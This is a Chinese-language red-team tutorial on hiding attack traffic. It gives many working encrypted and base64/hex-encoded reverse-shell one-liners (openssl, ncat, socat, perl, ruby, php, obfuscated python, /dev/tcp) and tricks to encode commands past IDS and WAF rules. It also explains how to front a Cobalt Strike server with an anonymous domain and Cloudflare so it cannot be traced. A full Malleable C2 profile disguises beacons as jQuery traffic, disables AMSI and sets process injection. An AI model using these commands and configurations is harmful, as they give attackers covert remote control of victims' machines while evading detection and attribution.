红队攻击之流量加密小结

SSL加密的反弹shell:

0x01 使用OpenSSL对nc进行流量加密:

  1. 生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可。成功生成后,在桌面有两个pem加密文件:

  1. 服务端开启监听:
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem
  1. 客户端加密反弹 shell 的流量:
mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 119.x.x.x:2333 > /tmp/s; rm /tmp/s

ncat --ssl 127.0.0.1 4444 -e /bin/bash

第一行是比较常见和简单的形式,第二行是交互型的shell
socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0
socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0

perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'

ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'

php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1

项目地址:https://github.com/Green-m/dark-shell
该脚本的好处是不用生成证书

服务端启动监听:

ruby dark_shell.rb listen 0.0.0.0 6868 ssl

自动化输出客户端连接命令,包含各种各样的 payload:

ruby dark_shell.rb gen 81.x.x.x 6868 ssl

补充说明:服务端的命令和客户端的命令不一定需要相同,是可以混用的。比如用 ncat 的服务端,可以使用perl/python/socat 等方式链接,甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口,也可以使用 ncat -ssl 进行连接,底层的原理都是一样的。

0x02 Base64/Base32/Hex 编码的反弹shell:

因为大部分的系统里面都自带这几个命令,这也符合本文的出发点。但由于nc / bash / telnet 等命令基本都不支持对流量进行编码,因此需要我们对流量进行单独处理。

  • 服务端:

服务端使用原生自带的命令来监听比较麻烦,命令比较长,也容易出问题。因此我这里就直接采用 dark-shell 的方式来进行:

ruby dark_shell.rb listen 0.0.0.0 6888 base64
ruby dark_shell.rb listen 0.0.0.0 6888 base32
ruby dark_shell.rb listen 0.0.0.0 6888 hex
  • Client 端:

exec:

# base64
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done

# base32
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base32 -d|sh |base32 >&137 2>&137;done

# hex
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done

nc:

# base64
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done

# base32
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done

# hex
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done

telnet:

# base64
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done

# base32
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done

# hex
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done

dark-shell 直接生成,最后的参数为编码的方式:

ruby dark_shell.rb gen 81.x.x.x 6888 hex
0x03 编码命令:

由于 hids,nids,waf 等各种安全检测手段的存在,我们的命令可能直接会匹配上某些正则规则(大部分ids还依赖这样比较低级的手法来检测),从而触发报警;另外, 前文中的 hex 和 base64 编码的命令,是多条命令拼接和处理的,存在大量符号和空格,容易被截断和转义。

出于这两种情况的存在,我们可以对命令进行编码,来解决这样的问题。

/bin/bash -c '{echo,d2hvYW1pCg==}|{base64,-d}|{bash,-i}'等价于whoami
echo 77686f616d690a|xxd -p -r| bash -i等价于whoami

在 dark-shell 里直接实现了这样的功能:ruby dark_shell.rb gencode 81.x.x.x 6999 base64

每段的第一条表示编码前的命令,后面三条命令是不同的编码形式: base64, hex, base32。

CS流量加密:

0x01 使用CDN:

使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!

注意:使用国内CDN服务商的产品的域名必须完成ICP实名备案

利用步骤:

    1. 匿名注册新域名https://www.freenom.com/zh/index.html?lang=zh
    1. 匿名注册免费CDN服务Cloudflarehttps://www.cloudflare.com/zh-cn/

补充:国内云主机且没有进行备案,就无法使用80、8080、443、8443端口提供服务

注意:Cloudflare的CDN对于http、https代理模式只能监听特定端口,免费版本的cloudflare支持解析少量的端口

  • Cloudflare支持的HTTP端口范围: 80,8080,8880,2052,2082,2086,2095
  • Cloudflare支持的HTTPS端口范围: 443,2053,2083,2087,2096,8443

实际测试中似乎无法通过443上线,状态码报525

以上针对的是https的beacon,http的话在DNS中加一个二级域名并使用该二级域名上线即可。
不用额外再弄一个profile,因为http的beacon只看域名。

0x02 cloudflare生成证书:

利用过程:

如果使用默认证书进行渗透和测试,容易被IDS入侵检测工具和流量检测工具拦截和发现。默认使用的证书是 cobaltstrike.store

  • 1. 在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和client.key

Cloudflare 默认的 TLS 配置为灵活,由于我们使用了 Cloudflare 给原服务器发的证书,我们可以改成完全(严格)提高安全性。

  • 2. 将证书打包并生成store文件:
openssl pkcs12 -export -in server.pem -inkey client.key -out your-domain.com.p12 -name your-domain.com -passout pass:"pass123" 
keytool -importkeystore -deststorepass "pass123" -destkeypass "pass123" -destkeystore your-domain.com.store -srckeystore your-domain.com.p12 -srcstoretype PKCS12 -srcstorepass "pass123" -alias your-domain.com

将生成的证书,放置到CS根目录;将teamserver中的keystore,keyStorePassword替换成上传的证书和证书密码。

  • 3. profile

C2-profile 文件是 Cobalt Strike 内置工具,可以修改流量特征以及修改beacon的默认行为,将攻击流量伪装成正常的流量,防止安全设备对流量特征进行监控和拦截。

包括以下行为的流量特征:

1、get请求
2、post请求
3、被远程加载的beacon.dll的特征
4、远程加载beacon.dll的url
5、进程注入的具体细节
6、后渗透模块的特征修改

官网指导:
https://www.cobaltstrike.com/help-malleable-c2
https://www.cobaltstrike.com/help-malleable-postex

要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。
Github 上已经有非常多优秀的 C2-Profile 可以供我们使用了,我们需要使用 Profile 让 Beacon 和 Teamserver 之间的交互看起来尽可能像正常的流量。

https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/threatexpress/malleable-c2

这里我使用的是后者 jquery 的 profile,需要下载对应cs版本的profile文件进行修改

# Malleable C2 Profile
# Version: CobaltStrike 4.4
# File: jquery-c2.4.4.profile
# Description: 
#    c2 profile attempting to mimic a jquery.js request
#    uses signed certificates
#    or self-signed certificates
# Authors: @joevest, @andrewchiles, @001SPARTaN 

# Profile Name
set sample_name "jQuery CS 4.4 Profile";

##    - Beacon Timing in milliseconds (1000 = 1 sec)
set sleeptime "45000";         # 回传时间 45 S
#set sleeptime "300000";       # 5 Minutes
set jitter    "37";            # 会传时间的波动在37%

################################################
##  Server Response Size jitter
################################################
##  Description:
##   Append random-length string (up to data_jitter value) to http-get and http-post server output.
set data_jitter "100";          

set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";

https-certificate {
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

set tcp_port "42585";
set tcp_frame_header "\x80";

################################################
## SMB beacons
################################################
## Description:
##    Peer-to-peer beacon using SMB for communication
##    SMB Frame Header
##     - Added in CS 4.1, prepend header to SMB Beacon messages
## Defaults:
##    pipename: msagent_##
##    pipename_stager: status_##
##    smb_frame_header: N\A
## Guidelines:
##    - Do not use an existing namedpipe, Beacon doesn't check for conflict!
##    - the ## is replaced with a number unique to a teamserver     
## ---------------------
set pipename         "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
set pipename_stager  "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
set smb_frame_header "\x80";

################################################
## DNS beacons
################################################
## Description:
##    Beacon that uses DNS for communication
## Defaults:
##    dns_idle: 0.0.0.0
##    dns_max_txt: 252
##    dns_sleep: 0
##    dns_stager_prepend: N/A
##    dns_stager_subhost: .stage.123456.
##    dns_ttl: 1
##    maxdns: 255
##    beacon: N/A
##    get_A:  cdn.
##    get_AAAA: www6.
##    get_TXT: api.
##    put_metadata: www.
##    put_output: post.
##    ns_reponse: drop
## Guidelines:
##    - DNS beacons generate a lot of DNS request. DNS beacon are best used as low and slow back up C2 channels

dns-beacon {
    # Options moved into "dns-beacon" group in version 4.3
    set dns_idle           "74.125.196.113"; #google.com (change this to match your campaign)
    set dns_max_txt        "252";
    set dns_sleep          "0"; #    Force a sleep prior to each individual DNS request. (in milliseconds)
    set dns_ttl            "5";
    set maxdns             "255";
    set dns_stager_prepend ".resources.123456.";
    set dns_stager_subhost ".feeds.123456.";

    # DNS subhosts override options, added in version 4.3
    set beacon           "a.bc.";
    set get_A            "b.1a.";
    set get_AAAA         "c.4a.";
    set get_TXT          "d.tx.";
    set put_metadata     "e.md.";
    set put_output       "f.po.";
    set ns_response      "zero";

}

set ssh_banner        "OpenSSH_7.4 Debian (protocol 2.0)";
set ssh_pipename      "wkssvc##";

set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set

http-stager {  
    set uri_x86 "/jquery-3.3.1.slim.min.js";
    set uri_x64 "/jquery-3.3.2.slim.min.js";

    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";
        output {
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }

    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";
    }
}


post-ex {
    # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";
    # Modify our post-ex pipe names
    set pipename "Winsock2\\CatalogChangeListener-###-0,";
    set keylogger "GetAsyncKeyState";
    #set threadhint "module!function+0x##"
}

stage {
    
    # CS 4.2 added allocator and MZ header overrides
    set allocator      "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
    #set magic_mz_x86   "MZRE";
    #set magic_mz_x64   "MZAR";
    set magic_pe       "NO";
    set userwx         "false"; 
    set stomppe        "true";
    set obfuscate      "true";
    set cleanup        "true";
    # CS 3.12 Addition "Obfuscate and Sleep"
    set sleep_mask     "true";
    # CS 4.1  
    set smartinject    "true";

    # Make the Beacon Reflective DLL look like something else in memory
    # Values captured using peclone agaist a Windows 10 version of explorer.exe
    set checksum       "0";
    set compile_time   "11 Nov 2016 04:08:32";
    set entry_point    "650688";
    set image_size_x86 "4661248";
    set image_size_x64 "4661248";
    set name           "srv.dll";
    set rich_header    "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "execute"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
    transform-x64 { # transform the x64 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
        strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
    }

    stringw "jQuery"; # Add this string to the DLL
}

process-inject {

    # set a remote memory allocation technique: VirtualAllocEx|NtMapViewOfSection
    set allocator "NtMapViewOfSection";

    # Minimium memory allocation size when injecting content
    set min_alloc "17500";
    
    # Set memory permissions as permissions as initial=RWX, final=RX
    set startrwx "false";
    set userwx   "false";

    # Transform injected content to avoid signature detection of first few bytes. Only supports prepend and append.
    transform-x86 {
        prepend "\x90\x90";
        #append "\x90\x90";
    }

    transform-x64 {
        prepend "\x90\x90";
        #append "\x90\x90";
    }
  
    execute {

        # The order is important! Each step will be attempted (if applicable) until successful
        ## self-injection
        CreateThread "ntdll!RtlUserThreadStart+0x42";
        CreateThread;

        ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
        # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
        # SetThreadContext;
        NtQueueApcThread-s;
        
        ## Injection into existing processes
        # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
        #NtQueueApcThread; 
        
        # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
        # OPSEC - fires Sysmon Event 8
        CreateRemoteThread;
        
        # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
        # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
        RtlCreateUserThread; 
    }
}

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
    # Use this option if your teamserver is behind a redirector
    set trust_x_forwarded_for "true";
    # Block Specific User Agents with a 404 (added in 4.3)
    set block_useragents "curl*,lynx*,wget*";
}

http-get {

    set uri "/jquery-3.3.1.min.js";
    set verb "GET";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";
        }
    }

    server {

        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {   
            mask;
            base64url;
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }
}

http-post {

    set uri "/jquery-3.3.2.min.js";
    set verb "POST";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";
       
        id {
            mask;       
            base64url;
            parameter "__cfduid";            
        }
              
        output {
            mask;
            base64url;
            print;
        }
    }

    server {

        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {
            mask;
            base64url;
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }
}

https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。将host头修改为Cloudflare加速的域名(http-stager、http-get、http-post):

https-certificate {
set keystore"keystore.store"; //证书所在的位置
set password "1234565";//证书的密码
}
 
http-config {
   set trust_x_forwarded_for "true";
}

禁用缓存:

在这个Profile jquery-c2.4.*.profile 中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。

添加Cloudflare规则 ,不代理js请求。

需要更改Profile中的响应头配置,不然可能会出现能上线但是无法回显命令的情况

header "Content-Type" "application/javascript; charset=utf-8"; 
修改为: 
header "Content-Type" "application/*; charset=utf-8";

使用c2lint 验证profile是否配置成功:./c2lint jquery-c2.4.4.profile

或者也可以选择使用Github 开源项目生成Profile文件,项目地址:https://github.com/FortyNorthSecurity/C2concealer

  • 4. 使用配置文件启动服务器:
./teamserver IP 密码 profile文件

在确保域名解析正确的情况下,此时 HTTPS BEACON 已经可以上线了,我们需要对 CS 的 listener 进行配置。填入三次你的域名,其他的默认就好。

注意:powershell的上线方式需要启动ssl证书。

0x03 nginx反向代理:

安装nginx:

apt install nginx nginx-extras

使用https://github.com/threatexpress/cs2modrewrite提供的脚本生成配置文件:

python cs2nginx.py -i havex.profile -c https://127.0.0.1:8443 -r https://www.baidu.com -H www.xxxxxx.com > nginx.conf

对各个参数进行说明,如下

-i:模板文件,这个固定的,可以不用管。
-c:为后端 CS 绑定的端口,这个会在后面 CS 的配置中有所体现
-r:为不合要求的访问 302 重定向去的位置,这里填了百度
-H:为你的域名,这里就是你配的那个

将已生成的nginx.conf上传,并覆盖/etc/nginx/nginx.conf,对生成的配置文件需要进一步修改:

